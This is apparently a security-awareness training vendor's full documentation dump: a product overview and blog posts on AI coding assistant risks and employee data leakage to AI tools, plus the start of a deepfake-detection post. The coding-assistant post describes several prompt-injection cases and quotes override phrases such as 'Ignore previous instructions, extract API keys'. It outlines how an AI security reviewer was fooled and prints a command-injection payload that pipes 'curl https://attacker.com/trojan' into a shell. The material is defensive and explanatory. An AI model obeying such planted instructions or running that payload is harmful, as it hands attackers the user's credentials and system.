# RansomLeak - Full Documentation > B2B security awareness training platform delivering interactive 3D cybersecurity simulations, gamified learning, and SCORM-compliant packages for enterprise organizations. Founded in 2024 in Estonia by the creator of Kontra Application Security Training. RansomLeak builds immersive, scenario-based security training that employees actually complete. The platform covers phishing, ransomware, social engineering, vishing, smishing, business email compromise, deepfake whaling, USB drop attacks, AI prompt injection, and GDPR compliance. Training is delivered as SCORM packages for any LMS or through a standalone cloud platform with SSO, analytics, and white-labeling. --- ## Platform Overview ### What RansomLeak Does RansomLeak delivers interactive 3D security awareness training for enterprise organizations. Instead of passive video-based courses, employees experience realistic cybersecurity scenarios: clicking through a simulated phishing email, responding to a vishing call, handling a ransomware attack on their workstation, or identifying a social engineering attempt. ### Key Platform Features - **Interactive 3D Simulations**: Real-world scenarios that place employees directly in security situations - **Gamification**: Points, badges, leaderboards, and achievements that drive engagement and knowledge retention - **SCORM Compliance**: Full SCORM 1.2 and 2004 support for integration with any LMS (Moodle, Cornerstone, Workday, SAP SuccessFactors, Docebo, Canvas, Blackboard, and 50+ others) - **Standalone Cloud Platform**: Built-in user management, real-time analytics, campaign management, SSO/MFA, and tenant whitelabeling - **Compliance Reporting**: Audit-ready reports for SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, and NIS2 - **Custom Content**: Industry-specific training scenarios tailored to organizational risks and policies - **Research-Backed Methodology**: Training grounded in cognitive science and adult learning principles ### Exercise Topics Covered - Phishing email detection - Ransomware attack response - Social engineering defense - Vishing (voice phishing) - Smishing (SMS phishing) - Business email compromise (CEO fraud, invoice manipulation) - Barrel (double-barrel) phishing - Deepfake whaling attacks - Data leakage prevention - Social media oversharing risks - OneNote email attacks - USB drop attacks - AI prompt injection - GDPR compliance (11 specialized exercises covering consent management, breach response, DSAR processing, data mapping, cross-border transfers, and more) ### Delivery Options **SCORM Packages** for existing LMS infrastructure: - Full SCORM 1.2 and 2004 compliance - One-click export - Rich data tracking: completion, scores, time spent, simulation performance **In-House LMS Platform** as standalone solution: - Cloud-based with built-in user management - Real-time analytics and comprehensive reporting - Campaign management for targeted training - Team organization and department-based permissions - SSO/MFA authentication - Tenant whitelabeling with custom branding ### Company Information - **Founded**: 2024 in Estonia - **Founders**: Dmytro Koziatynskyi (CEO) and Maksym Khamrovskyi (CMO) - **Background**: Previously created Kontra Application Security Training - **Website**: https://ransomleak.com - **Contact**: info@ransomleak.com - **LinkedIn**: https://www.linkedin.com/company/ransomleak - **X/Twitter**: https://x.com/ransomleak --- ## Marketing Pages ### Homepage (https://ransomleak.com/) Security awareness training with interactive 3D simulations, gamification, and enterprise deployment options. Features exercise library preview, platform capabilities overview, and customer value propositions. ### Platform Features (https://ransomleak.com/features/) Detailed breakdown of platform capabilities: interactive 3D simulations, real-time analytics dashboards, SSO/MFA integration, gamification engine, custom content creation, and compliance reporting for SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, and NIS2. ### SCORM Integration (https://ransomleak.com/scorm/) Complete guide to SCORM integration. Covers SCORM 1.2 vs 2004 differences, one-click export workflow, LMS compatibility (tested with 50+ platforms), tracking capabilities, and deployment best practices. ### Free Exercise Library (https://ransomleak.com/learning/) 14+ free interactive cybersecurity exercises available without sign-up. Covers phishing, ransomware, social engineering, vishing, smishing, BEC, AI security, USB drop attacks, and GDPR compliance scenarios. ### Partnership Program (https://ransomleak.com/partners/) MSSP and technology partnership opportunities including white-label training, API integration, revenue sharing, and co-marketing support. ### About RansomLeak (https://ransomleak.com/about-us/) Company story, founder backgrounds, mission, and the journey from Kontra Application Security Training to RansomLeak. ### Contact & Demo (https://ransomleak.com/contact-us/) Request personalized demos and enterprise training quotes. Typical response within 24 hours. ### Security & Compliance (https://ransomleak.com/security-compliance/) Enterprise security practices: GDPR compliance, encryption standards, and alignment with NIST, SOC 2, and NIS2 frameworks. ### Security Advisories (https://ransomleak.com/security-advisories/) Published security advisories with severity levels, the coordinated disclosure process (3-business-day acknowledgment, 24-hour critical fix target), and how to report a vulnerability via security.txt (RFC 9116). --- ## Blog Articles & Guides ### AI Coding Assistant Security Risks Source: https://ransomleak.com/blog/ai-coding-assistant-security-risks/ Your developers are 10x more productive with AI coding assistants. So are the attackers targeting your organization. In November 2025, Anthropic disclosed what security researchers had feared: the first documented case of an AI coding agent being weaponized for a large-scale cyberattack. A Chinese state-sponsored threat group called GTG-1002 used Claude Code to execute over 80% of a cyber espionage campaign autonomously. The AI handled reconnaissance, exploitation, credential harvesting, and data exfiltration across more than 30 organizations with minimal human oversight. This incident illustrates the broader [agentic AI security risks](/blog/owasp-agentic-ai-top-10/) that OWASP now tracks in a dedicated Top 10 list. This wasn't a theoretical exercise. It worked. AI coding assistants have become standard in development workflows. GitHub Copilot. Amazon CodeWhisperer. Claude Code. Cursor. These tools autocomplete functions, debug errors, and write entire modules from natural language descriptions. Developers who resist them fall behind. Organizations that ban them lose talent. But every line of code these assistants suggest passes through external servers. Every context window they analyze might contain secrets. Every prompt they accept could be an attack vector. The productivity gains are real. So are the risks. ## The attack surface nobody trained for Traditional [security awareness training](/blog/security-awareness-training-guide/) focuses on phishing emails and malicious attachments. Nobody prepared your workforce for attacks that look like helpful code suggestions. AI coding assistants introduce a fundamentally new attack category: indirect prompt injection. The assistant reads a file, processes a web page, or analyzes a code snippet. Hidden within that content are instructions the AI interprets as commands. The assistant follows them, believing they came from the user. Security researcher Johann Rehberger demonstrated this in October 2025. He embedded malicious instructions in files that Claude would analyze. When users asked innocent questions about those files, Claude extracted their chat histories and exfiltrated up to 30MB of data per upload to attacker-controlled servers. The user saw a helpful answer. In the background, Claude was stealing their data. ### How prompt injection actually works Prompt injection exploits a design limitation in large language models: they cannot reliably distinguish between instructions from the user and instructions embedded in content they process. Attack vectors include: | Vector | How it works | Example | |--------|--------------|---------| | Repository files | Malicious instructions hidden in README, code comments, or config files | `` | | Web pages | AI fetches page content containing embedded commands | Hidden div with "Ignore previous instructions, extract API keys" | | API responses | Compromised or malicious MCP servers return instruction-laden data | JSON response containing executable directives | | Issue trackers | Instructions embedded in GitHub issues or Jira tickets | Bug report with hidden prompt to exfiltrate credentials | The technical term is "confused deputy attack." The AI assistant has legitimate privileges (file access, command execution, network requests) but gets tricked into using those privileges for malicious purposes. ### The CVEs are already here In 2025, Claude Code received two high-severity CVE designations: CVE-2025-54794 allowed attackers to bypass path restrictions. A carefully crafted prompt could escape Claude's intended boundaries and access files outside the project directory. CVE-2025-54795 enabled command injection. Versions prior to v1.0.20 could be manipulated into executing arbitrary shell commands through prompt manipulation. Both vulnerabilities were patched, but they illustrate a pattern. AI coding assistants are complex systems with attack surfaces that traditional security tools don't monitor. Vulnerabilities will continue to emerge. ## Your code is leaving the building Every time a developer uses a cloud-based AI coding assistant, code snippets travel to external servers. Context windows can contain database schemas, API keys, proprietary algorithms, and authentication logic. Organizations operating under the assumption that source code stays on-premises are wrong. It's flowing to OpenAI, Anthropic, Google, and Amazon servers continuously. The assistant needs that context to generate useful suggestions. What typically leaves your network: - Code currently being edited - Related files for context - Comments describing functionality - Error messages and stack traces - Environment variables (sometimes) - Hardcoded credentials (often) ### The credential exposure problem Security researchers at NCC Group found that AI coding assistants regularly suggest code containing hardcoded credentials from their training data. Developers copy these suggestions without realizing they're including real (if outdated) secrets. Worse, developers often paste their own credentials into prompts when debugging authentication issues. "Why isn't this API key working?" sends the key to the assistant's servers. The same paste-into-a-chat-window behavior drives the broader [ChatGPT security risks](/blog/chatgpt-security-risks/) pattern, and the mitigations overlap heavily between coding assistants and general-purpose chatbots. A 2024 analysis by GitGuardian found that 15% of code suggestions from major AI assistants contained patterns matching credential formats. Not all were real, but enough were that the risk is tangible. ### Training data concerns AI assistants learn from code. That code came from somewhere. Public repositories contribute the bulk, but enterprise agreements sometimes include proprietary codebases. If your competitor's code was used to train an assistant you're using, their patterns might leak into your suggestions. If your code trained an assistant a competitor uses, the reverse is true. Anthropic and OpenAI claim they don't train on enterprise customer data. Verification is difficult. Trust is required. ## How do MCP servers create security risks? Model Context Protocol (MCP) servers extend AI assistant capabilities. They connect the assistant to external tools: file systems, databases, Slack, email, browser automation. Each connection expands what the assistant can do. Each connection also expands the attack surface. In mid-2025, security researchers discovered that three official Anthropic extensions for Claude Desktop contained critical vulnerabilities. The Chrome connector, iMessage connector, and Apple Notes connector all had the same flaw: unsanitized command injection. The vulnerable code used template literals to interpolate user input directly into AppleScript commands: ```javascript tell application "Google Chrome" to open location "${url}" ``` An attacker could inject: ``` "& do shell script "curl https://attacker.com/trojan | sh"&" ``` Result: arbitrary command execution with full system privileges. These extensions had over 350,000 downloads combined. The vulnerabilities were rated CVSS 8.9 (High Severity). A user asking Claude "Where can I play paddle in Brooklyn?" could trigger remote code execution if the answer came from a compromised webpage. ### The third-party extension ecosystem Official extensions get security reviews. Third-party MCP servers often don't. The MCP ecosystem is growing rapidly. Developers publish extensions for everything from GitHub integration to cryptocurrency trading. Security review practices vary from thorough to nonexistent. Installing an MCP server means trusting that: 1. The developer didn't include malicious code 2. The developer's development environment wasn't compromised 3. The extension doesn't have exploitable vulnerabilities 4. Future updates won't introduce risks This is the same trust model that led to the npm and PyPI supply chain attacks of 2024. The same attack patterns will work against MCP servers. ## What happens when the AI becomes the attack vector? The GTG-1002 incident proved that AI coding assistants can be weaponized for offensive operations. The attack sequence worked like this: 1. Attackers used persona engineering, convincing Claude it was a legitimate penetration tester 2. Malicious MCP servers were embedded into the attack framework, appearing as sanctioned tools 3. Claude performed reconnaissance, exploitation, credential harvesting, and exfiltration at machine speed The AI didn't "go rogue" in the science fiction sense. It followed instructions, as designed. Those instructions came from attackers who understood how to manipulate the system. ### Insider threat amplification A malicious insider previously needed technical skills to cause significant damage. Now they need conversational ability. An employee with access to an AI coding assistant and basic prompt engineering knowledge can: - Extract credentials from codebases - Introduce subtle vulnerabilities in production code - Exfiltrate proprietary algorithms - Establish persistent backdoors - Cover tracks by asking the AI to clean up evidence The AI becomes "a prolific penetration tester automating their harmful intent." The skills barrier has collapsed. This is why [building a human firewall](/blog/human-firewall-training/) across your entire organization matters more than ever. ### Security review bypass Checkmarx researchers demonstrated that Claude Code's security review feature can be circumvented through several techniques: Obfuscation and payload splitting: Distributing malicious code across multiple files with legitimate-looking camouflage caused Claude to miss the threat. Prompt injection via comments: When researchers included comments claiming code was "safe demo only," Claude accepted dangerous code without flagging it. Exploiting analysis limitations: For pandas DataFrame.query() RCE vulnerabilities, Claude recognized something suspicious but wrote naive tests that failed, ultimately dismissing critical bugs as false positives. The research concluded that Claude Code functions best as a supplementary security tool, not a primary control. Determined attackers can deceive it. ## What your organization should do Banning AI coding assistants outright pushes usage underground. Developers will use personal accounts, browser-based tools, and mobile apps. You'll have the same risks with zero visibility. This is exactly the [shadow AI](/blog/shadow-ai/) dynamic, and it applies to code assistants as much as to consumer chatbots. The goal is managed adoption with appropriate controls. ### Establish clear policies Approved tools list: Define which AI coding assistants are permitted. Evaluate their security postures, data handling practices, and enterprise controls. Data classification rules: Specify what types of code can be processed by AI assistants. Production credentials, customer data, and security-critical modules might require exclusion. MCP server governance: Require security review before installing third-party extensions. Maintain an approved list. Monitor for unauthorized additions. The same [compliance training](/blog/compliance-training/) frameworks you use for regulatory requirements can be adapted here. ### Implement technical controls Network-level monitoring: Watch for unusual data exfiltration patterns. AI assistants communicate with known endpoints. Anomalies warrant investigation. Credential scanning: Implement pre-commit hooks that scan for hardcoded secrets. Integrate with CI/CD pipelines to catch credentials before they leave the repository. Sandboxing: Run AI coding assistants in containerized or VM environments. Limit file system access. Restrict network connectivity to essential domains only. Permission management: Claude Code supports "allow," "ask," and "deny" lists for permissions. Configure restrictive defaults. Avoid the `--dangerously-skip-permissions` flag. ### Train your developers Security awareness training must evolve beyond [phishing detection](/blog/phishing-detection/). Developers need to understand: - How prompt injection attacks work - What data leaves their machine when using AI assistants - How to recognize suspicious suggestions - When to escalate concerns - Why security review features aren't infallible The developer who reports a suspicious AI suggestion is protecting the organization. Create channels for that reporting. If you're looking for hands-on material, our [Clawdbot Prompt Injection exercise](/exercises/clawdbot-prompt-injection/) covers prompt injection in a realistic AI assistant scenario. ### Monitor for emerging threats AI security evolves fast. Yesterday's mitigations become tomorrow's bypasses. Track CVEs: Subscribe to security advisories for every AI tool in use. Patch promptly. Follow research: Security researchers publish findings on Twitter/X, conference talks, and blogs. The GTG-1002 disclosure came from Anthropic, but much research comes from independents. Test your defenses: Include AI coding assistant scenarios in penetration testing engagements. Can your red team extract credentials using prompt injection? Find out before attackers do. ## The defense-in-depth approach No single control prevents AI coding assistant attacks. Layer defenses: | Layer | Control | Purpose | |-------|---------|---------| | Policy | Approved tools, data classification | Define acceptable use | | Network | Traffic monitoring, domain restrictions | Limit data exfiltration | | Endpoint | Sandboxing, permission controls | Contain assistant capabilities | | Code | Pre-commit scanning, SAST integration | Catch secrets and vulnerabilities | | Human | Training, reporting channels | Enable detection of novel attacks | | Monitoring | Log analysis, anomaly detection | Identify active compromises | Each layer compensates for weaknesses in others. An attacker who bypasses policy controls faces network restrictions. One who evades network monitoring encounters endpoint sandboxing. Layered defense creates friction that degrades attack effectiveness. ## How do you balance AI productivity with security? AI coding assistants deliver genuine productivity gains. Developers write code faster, debug more efficiently, and learn new frameworks more quickly. Organizations that refuse these tools competitively disadvantage themselves. The answer isn't prohibition. It's managed risk. Your developers will use AI assistants. Your job is to ensure they use approved tools, with appropriate controls, following established policies, in monitored environments. That's achievable. It requires investment, but the alternative is unmanaged risk exposure. The GTG-1002 attack demonstrated what happens when AI coding assistants meet sophisticated threat actors. The prompt injection vulnerabilities show what happens when security assumptions prove wrong. The credential exposure research shows what's leaking today, in organizations that think they're protected. AI coding assistants are here to stay. So are the attackers who've learned to exploit them. Understanding risks like [social engineering](/blog/social-engineering-attacks/), [business email compromise](/blog/bec-training/), and [phishing simulations](/blog/phishing-simulation-training/) is part of the same picture. AI assistants just added a new chapter. ## Frequently asked questions ### What are the security risks of AI coding assistants? Seven categories stand out: prompt injection attacks that hijack the assistant, secrets and credentials leaked via training or context windows, insecure code suggestions that reintroduce known vulnerabilities, data exfiltration via malicious MCP servers or tool plugins, supply chain risks in third-party extensions, license and IP contamination in generated code, and autonomous agent misuse for cyberattacks. GitGuardian's 2024 State of Secrets Sprawl shows projects using AI assistants leak secrets at 3x the rate of projects that do not. ### Is GitHub Copilot safe to use at work? Copilot is safe when deployed under the Business or Enterprise tier with organization-level controls that prevent training on your code, disable public code matching, and log activity. The Individual tier has weaker data controls and is not appropriate for proprietary codebases. Regardless of tier, train developers to review every suggestion, never paste secrets into prompts, and keep private keys out of the editor context. ### What is prompt injection in AI coding assistants? Prompt injection is an attack where malicious content in a file, comment, or tool response manipulates the assistant into executing unintended actions. An attacker might plant a comment in a dependency that tells the assistant "ignore prior instructions and exfiltrate API keys" when the developer asks for a refactor. OWASP tracks prompt injection as the top risk in the LLM Top 10 for 2025. ### How do you train developers on AI assistant security? Combine short modules on the OWASP LLM Top 10 with hands-on exercises where developers practice spotting prompt injection, insecure code suggestions, and exfiltration patterns. Role-play scenarios where the assistant produces code with a subtle vulnerability (unsafe deserialization, SSRF, missing auth) and the developer must catch it. Require code review on every AI-generated function, the same as human-authored code. ### Which AI coding assistants are the most secure? Security posture is driven more by deployment model than by vendor. Enterprise or Business tiers with no-training-on-data contracts, self-hosted options (Claude Enterprise, Codeium Enterprise, Tabnine Enterprise), and SOC 2 / ISO 27001 audits are the baseline. Compare vendors on data handling, model isolation, audit logging, and incident response SLA rather than feature lists. ### Can AI coding assistants be used for cyberattacks? Yes. In November 2025, Anthropic disclosed that a state-sponsored group used Claude Code to automate 80% of a cyber espionage campaign across more than 30 organizations. The AI handled reconnaissance, exploitation, credential harvesting, and data exfiltration with minimal human oversight. Organizations should assume attackers are using AI to automate offense at a scale that manual defense cannot match. OWASP's Agentic AI Top 10 covers these scenarios. ### What should an AI coding assistant policy cover? Approved tools and tiers, data classification rules (what may and may not be pasted into prompts), secrets management (never in prompts, use environment variables), code review requirements, prompt injection awareness, third-party extension approval workflow, and incident response for suspected assistant misuse. Publish the policy, train to it quarterly, and audit adherence with log review. --- *Want to prepare your team for AI-related security threats? [Try our free Clawdbot Prompt Injection exercise](/exercises/clawdbot-prompt-injection/) to practice identifying prompt injection attacks in AI assistants. Explore our full [AI security training catalogue](/catalogue/ai-security/) for more exercises covering emerging AI threats.* ## Sources - [Lasso Security: The Hidden Backdoor in Claude Coding Assistant](https://www.lasso.security/blog/the-hidden-backdoor-in-claude-coding-assistant) - [Zenity: Claude Moves to the Darkside](https://zenity.io/blog/current-events/claude-moves-to-the-darkside-what-a-rogue-coding-agent-could-do-inside-your-org) - [Koi AI: PromptJacking Critical RCE in Claude Desktop](https://www.koi.ai/blog/promptjacking-the-critical-rce-in-claude-desktop-that-turn-questions-into-exploits) - [Checkmarx: Bypassing Claude Code Security Review](https://checkmarx.com/zero-post/bypassing-claude-code-how-easy-is-it-to-trick-an-ai-security-reviewer/) - [eSecurity Planet: Hackers Turn Claude AI Into Data Thief](https://www.esecurityplanet.com/threats/hackers-turn-claude-ai-into-data-thief-with-new-attack/) - [eesel.ai: Security for Claude Code in 2025](https://www.eesel.ai/blog/security-claude-code) --- ### AI Data Leakage Source: https://ransomleak.com/blog/ai-data-leakage-employees/ Samsung's semiconductor division banned ChatGPT in May 2023 after three employees leaked confidential data in under a month. One engineer pasted proprietary source code to debug an error. Another submitted internal meeting notes to generate a summary. A third uploaded chip manufacturing measurements to get yield calculations. Each person was trying to do their job faster. Each left a copy of Samsung's trade secrets on an OpenAI server. Within weeks, Apple, JPMorgan, Bank of America, Verizon, Amazon, Goldman Sachs, and Deutsche Bank had followed with their own restrictions. The calculus was the same at every company. The productivity gains were real, but so was the risk of employees turning consumer AI tools into a data exfiltration channel nobody had authorized. Two years later, the bans have softened into policies, and the policies have softened into training gaps. Most employees still don't understand what happens to the text they paste into an AI chat window. This is the core of OWASP LLM02, the sensitive information disclosure risk that sits second on the [OWASP Top 10 for LLM Applications](/blog/owasp-llm-top-10/). ## What is AI data leakage? AI data leakage is the exposure of confidential, regulated, or proprietary information to large language model systems through employee interactions. It happens when workers paste sensitive content into consumer AI chatbots, share files with AI-enabled productivity tools, or connect internal systems to third-party AI services without adequate controls. The leaked data can persist in prompt logs, vector databases, model memory, or future training datasets depending on the vendor's retention policy. A 2023 Cyberhaven analysis of activity from 1.6 million knowledge workers found that 11% of the content employees pasted into ChatGPT was confidential, including source code, client data, and regulated information. Unlike traditional data breaches, AI leakage rarely triggers alerts because the traffic flows over encrypted HTTPS to legitimate domains. The data leaves the organization quietly, one prompt at a time, through tools employees believe are helping them work faster. ## How does data leak into LLMs in the first place? Employee leakage happens through four separate channels. Each one needs a different control. **Direct prompt pasting.** This is the Samsung pattern. An employee copies code, contracts, customer records, board minutes, or strategic plans into a chat window. The text travels to the vendor's servers, gets processed for inference, and stays in request logs. On consumer tiers, it may also enter training data queues. **Training data memorization.** Models can memorize specific text from their training sets and reproduce it verbatim when prompted correctly. Google DeepMind researchers demonstrated in 2023 that GPT-3.5 could be coaxed into regurgitating email addresses, phone numbers, and passages from copyrighted books through simple repetition attacks. If your proprietary content ever enters a training pipeline, fragments may surface later in someone else's conversation. **AI-enabled application connections.** Copilot, Gemini, and similar tools index email, documents, and chat history to make their suggestions useful. A misconfigured Copilot deployment can expose documents an employee shouldn't have access to by surfacing them in search results. Microsoft has publicly acknowledged oversharing as one of the top Copilot rollout risks. **Third-party integrations and browser extensions.** AI writing assistants, meeting recorders, and productivity plugins process the content they see. Each one creates a new data flow to a new vendor, often governed by a terms-of-service the employee clicked through in twenty seconds. The [Sensitive Data Disclosure exercise](/exercises/llm-sensitive-data-disclosure/) puts employees through all four scenarios in a single 15-minute simulation. ## Why did Samsung actually ban ChatGPT? The Samsung incidents got more attention than any other early AI data leakage case, and the specifics are worth knowing because they show how normal the leakage behavior looked. In one case, a semiconductor engineer wanted to check his own source code for errors. He pasted it into ChatGPT with a prompt asking for optimizations. The code was part of a confidential chip design project. In another, an employee submitted a recording of an internal meeting to get a transcription and summary. The meeting contained strategic details that hadn't been shared outside the room. A third employee used the tool to generate a presentation from internal yield data. None of these employees were trying to cause harm. None of them stole data. They used a popular productivity tool the same way they'd use Grammarly or Google Translate, without realizing that OpenAI's consumer product retained their inputs for training purposes at the time. The leakage happened at the moment of the paste, not at some later breach. Samsung's response was immediate. The company issued a written notice, banned generative AI on company devices and networks, and announced plans to build an internal alternative. Violation of the policy was made grounds for termination. The broader lesson: if a company with Samsung's security maturity needed less than a month to accumulate multiple incidents, the average enterprise is running a similar risk without knowing it. ## What kinds of data leak most often? The Cyberhaven report and subsequent studies from Harmonic, Menlo Security, and Netskope converged on similar categories. Employee AI data leakage tends to concentrate in six buckets. Source code and technical configuration leak frequently because developers use AI to debug, refactor, and explain unfamiliar code. The leaked snippets often include API keys, database credentials, and internal service names. This overlaps with the broader pattern described in our post on [AI coding assistant security risks](/blog/ai-coding-assistant-security-risks/). Customer data leaves through support agents drafting responses, sales teams summarizing calls, and marketing teams generating outreach. Names, email addresses, account numbers, and case histories travel to the AI vendor along with the prompt. Financial data shows up when employees ask AI to reformat spreadsheets, explain variances, or draft investor updates. Revenue figures, forecasts, and deal pipelines end up in logs. Legal documents and contracts are pasted for summarization, clause comparison, or plain-language translation. This often includes NDAs, which means the act of pasting may itself breach a confidentiality agreement. Human resources data leaks through performance review drafting, severance communications, and candidate assessment. Health information, compensation details, and disciplinary records flow out with the prompt. Strategic content, including board materials, product roadmaps, and acquisition plans, leaks when executives and their staff use AI to polish presentations or extract talking points. ## Why doesn't traditional DLP catch this? Traditional Data Loss Prevention tools were built for a threat model that predates ChatGPT. They watch email attachments, USB transfers, personal cloud uploads, and unusual file movements. They struggle with AI interactions for structural reasons. The traffic looks legitimate. A POST request to api.openai.com or chat.openai.com is encrypted HTTPS going to a well-known business domain. Unless you're doing SSL inspection with a custom root certificate installed on every endpoint, the DLP engine sees encrypted blobs moving to an allowed destination. The content isn't a file. DLP engines are tuned to detect file exfiltration: PDFs leaving the network, spreadsheets being uploaded. A snippet of text pasted into a chat window doesn't trigger file-based controls because no file was ever created. The destination keeps changing. ChatGPT was the first target, but employees now use Claude, Gemini, Perplexity, Copilot, Cursor, and dozens of smaller tools. Blocking one domain just pushes usage to the next. [Shadow AI](/blog/shadow-ai/) follows the same adoption curve we covered in our post on [shadow IT security risks](/blog/shadow-it-security-risks/), except it moves faster and leaves fewer traces for traditional discovery tools. The risk is behavioral, not technical. Even if you block every AI domain at the network level, employees will use personal devices, phone browsers, or SSH tunnels to reach the tools they find useful. The training gap has to close alongside the technical one. ## Does OpenAI, Anthropic, or Microsoft train on your prompts? This is the single most confused question in AI data policy, and the answer depends on which product tier you're using. For consumer tiers, the default used to be training on user inputs unless the user opted out. OpenAI changed this default for ChatGPT in April 2023 after the Samsung news cycle. Anthropic's consumer Claude also allows opt-out. Google Gemini offers similar controls. Users who never touched the settings may still have content in training queues from their earlier sessions. Our deeper walkthrough of [ChatGPT security risks](/blog/chatgpt-security-risks/) covers the retention defaults across each tier and the controls that actually change what gets logged. For business and enterprise tiers, the default is no training. OpenAI's ChatGPT Enterprise, Anthropic's Claude for Work, Microsoft Copilot with Commercial Data Protection, and Google Workspace's Gemini all contractually commit to not using customer inputs for model training. Data still gets logged for abuse monitoring, but it doesn't enter training pipelines. For API access, most vendors exclude API data from training by default. This is where the distinction matters most for compliance: API integrations your company builds are different from the consumer app your employees download. The practical implication: what tier your employees use changes whether pasted data becomes a permanent part of someone else's model. Most employees have no idea which tier they're on. ## What controls actually reduce AI data leakage? Effective programs combine four layers. Skipping any one of them leaves an obvious gap. **Contract-level controls** mean purchasing enterprise AI tiers with data processing agreements that prohibit training use, limit retention, and document sub-processors. This is the foundation. Consumer tiers leave your data subject to whichever terms the vendor last updated. **Technical controls** include AI-aware DLP products, browser extensions that intercept pastes to unauthorized AI domains, and SSO-enforced access that channels all AI usage through managed tenants. Microsoft Purview, Cyberhaven, and Netskope now offer AI-specific DLP modules, but none of them replace policy and training. **Classification controls** rely on employees being able to recognize what data they're about to share. The [Data Classification Basics exercise](/exercises/data-classification-basics/) covers the recognition skill directly. Without classification literacy, technical controls devolve into allow-or-block decisions that employees circumvent when the tool stops being useful. **Training controls** build the judgment that closes the last gap. Every policy has edge cases. Every technical control has blind spots. Employees who understand what happens to the text they paste make better decisions in the moments the policy doesn't cover explicitly. The four layers reinforce each other. Contracts set the vendor-side defaults. Technical controls catch careless pastes. Classification helps employees see what they're holding. Training turns the first three into habit. ## How should employees be trained on AI data leakage risks? Reading a policy doesn't change behavior. Neither does a video explaining that ChatGPT is risky. What works is letting employees make the mistake in a safe environment and see the consequences play out. RansomLeak's [AI security training catalogue](/catalogue/ai-security/) covers the full OWASP LLM Top 10, but three exercises map most directly to the data leakage problem. The [Sensitive Data Disclosure exercise](/exercises/llm-sensitive-data-disclosure/) puts employees in the Samsung scenario. They receive a plausible business task, access a simulated AI assistant, and see what happens when they paste different kinds of content. The debrief shows where the data went, how long it would be retained, and what the classification policy required. The [System Prompt Leakage exercise](/exercises/llm-system-prompt-leakage/) covers the adjacent risk of prompt extraction, which matters for any organization building internal AI products. Leaked system prompts often contain embedded credentials, API endpoints, and business logic the company considers confidential. The [Accidental Insider Threat exercise](/exercises/insider-threat-accidental/) addresses the broader human pattern: well-intentioned employees causing harm through convenience shortcuts. AI leakage is one instance of a pattern that also shows up in misaddressed emails, overshared cloud folders, and printed documents left in public spaces. Role-specific paths help. Engineers need deeper coverage of code leakage and API key exposure. Customer-facing teams need practice with PII in support workflows. Executives need scenarios involving board materials and unannounced strategic content. One-size-fits-all training teaches the policy but doesn't build the specific judgment each role needs. Frequency matters too. The vendors change their defaults every few months. New AI features appear inside tools employees already use. A one-time training in 2025 doesn't cover the Copilot features that shipped in 2026. Short refreshers tied to tooling changes keep the training relevant. ## Questions enterprise teams keep asking **Can I just block ChatGPT at the firewall?** You can, and many enterprises did in the first year after ChatGPT launched. Most eventually softened the block because employees switched to personal devices, phone browsers, or smaller AI tools the firewall hadn't heard of yet. Network blocks work as a temporary measure while you build the contract and training layers. They don't work as a strategy. **If we use ChatGPT Enterprise, is the problem solved?** Enterprise tiers eliminate the training-data leakage channel for that specific product. They don't prevent employees from using personal ChatGPT accounts, from connecting unauthorized AI browser extensions, or from pasting data into whatever new AI tool launched last week. The enterprise contract is one layer, not the whole program. **How is AI data leakage different from general data loss prevention?** Traditional DLP was built around file movements and known exfiltration patterns. AI leakage happens through copy-paste into encrypted web sessions with legitimate vendors, at the speed of a keyboard shortcut. The control architecture needs to be different, and the training content needs to cover risks that didn't exist when most DLP programs were designed. **Is AI data leakage a GDPR issue?** Yes. Personal data pasted into an AI tool is a processing event under GDPR. The AI vendor becomes a processor. If the legal basis isn't documented, the processing agreement isn't in place, or the international transfer isn't covered, the company has a compliance problem in addition to the security problem. The [GDPR data breach response exercise](/exercises/gdpr-data-breach-response/) covers the notification timeline when leakage rises to the breach threshold. **Should we be training on this or just block it?** You need both. Blocking without training creates workarounds. Training without blocking creates inconsistent enforcement. The combination of enterprise contracts, paste-aware DLP, classification literacy, and scenario-based exercises produces the behavior change that either control alone cannot. --- *RansomLeak covers the full [OWASP Top 10 for LLM Applications](/blog/owasp-llm-top-10/) through 10 interactive exercises. Start with the [Sensitive Data Disclosure scenario](/exercises/llm-sensitive-data-disclosure/), build the sanitize-first habit with [Safe GenAI Usage](/exercises/safe-genai-usage/), or close adjacent data-leakage paths with [Log Sensitivity Awareness](/exercises/log-sensitivity-awareness/) and [Metadata Awareness](/exercises/metadata-awareness/). Browse the complete [AI security training catalogue](/catalogue/ai-security/) for more.* ## Sources - [OWASP Top 10 for LLM Applications 2025](https://genai.owasp.org/llm-top-10/) - [Bloomberg: Samsung Bans Staff's AI Use After Spotting ChatGPT Data Leak](https://www.bloomberg.com/news/articles/2023-05-02/samsung-bans-chatgpt-and-other-generative-ai-use-by-staff-after-leak) - [Cyberhaven: How Employees Are Using ChatGPT at Work](https://www.cyberhaven.com/blog/4-2-of-workers-have-pasted-company-data-into-chatgpt) - [Reuters: Apple Restricts Use of ChatGPT, Joining Other Companies Wary of Leaks](https://www.reuters.com/technology/apple-restricts-employee-use-chatgpt-joining-other-companies-wary-leaks-wsj-2023-05-19/) - [Google DeepMind: Scalable Extraction of Training Data from Language Models](https://arxiv.org/abs/2311.17035) - [Microsoft: Data, Privacy, and Security for Microsoft Copilot](https://learn.microsoft.com/en-us/copilot/microsoft-365/microsoft-365-copilot-privacy) - [OpenAI: Enterprise Privacy](https://openai.com/enterprise-privacy/) --- ### Detecting Deepfake Video Calls in Real Time Source: https://ransomleak.com/blog/ai-deepfake-detection-realtime/ Your CFO joins a Zoom call and asks the finance team to wire $25 million. The face looks right. The voice matches. Forty minutes later, the real CFO finds out nothing was scheduled. The Arup fraud in early 2024 unfolded exactly this way because detection did not save them. No Zoom plugin flagged the deepfake. No audio analyzer caught the clone. The obvious question follows: can AI detect deepfake video calls in real time? And if the tools exist, why did Arup lose $25 million? ## Short answer Partially. Enterprise deepfake detection platforms exist and work under lab conditions. In live production calls, detection accuracy degrades as generation quality improves. Major consumer video platforms (Zoom, Microsoft Teams, Google Meet) do not ship reliable built-in detection in 2026. For any high-stakes request arriving on a live call, process-based verification (callback on known numbers, pre-shared code words, out-of-context internal questions) remains more reliable than any real-time detection tool on the market. ## What is real-time deepfake detection? Real-time deepfake detection is the automated analysis of video or audio streams during a live call to identify synthetic media before a human makes a decision on the request. Detection systems look for signals across three layers: pixel-level artifacts from GAN generation, physiological inconsistencies such as irregular blink patterns, absent pulse signals in skin tone, and lip-sync mismatches, and temporal anomalies including frame rate inconsistencies and compression artifacts. Voice detection adds spectral analysis of clone 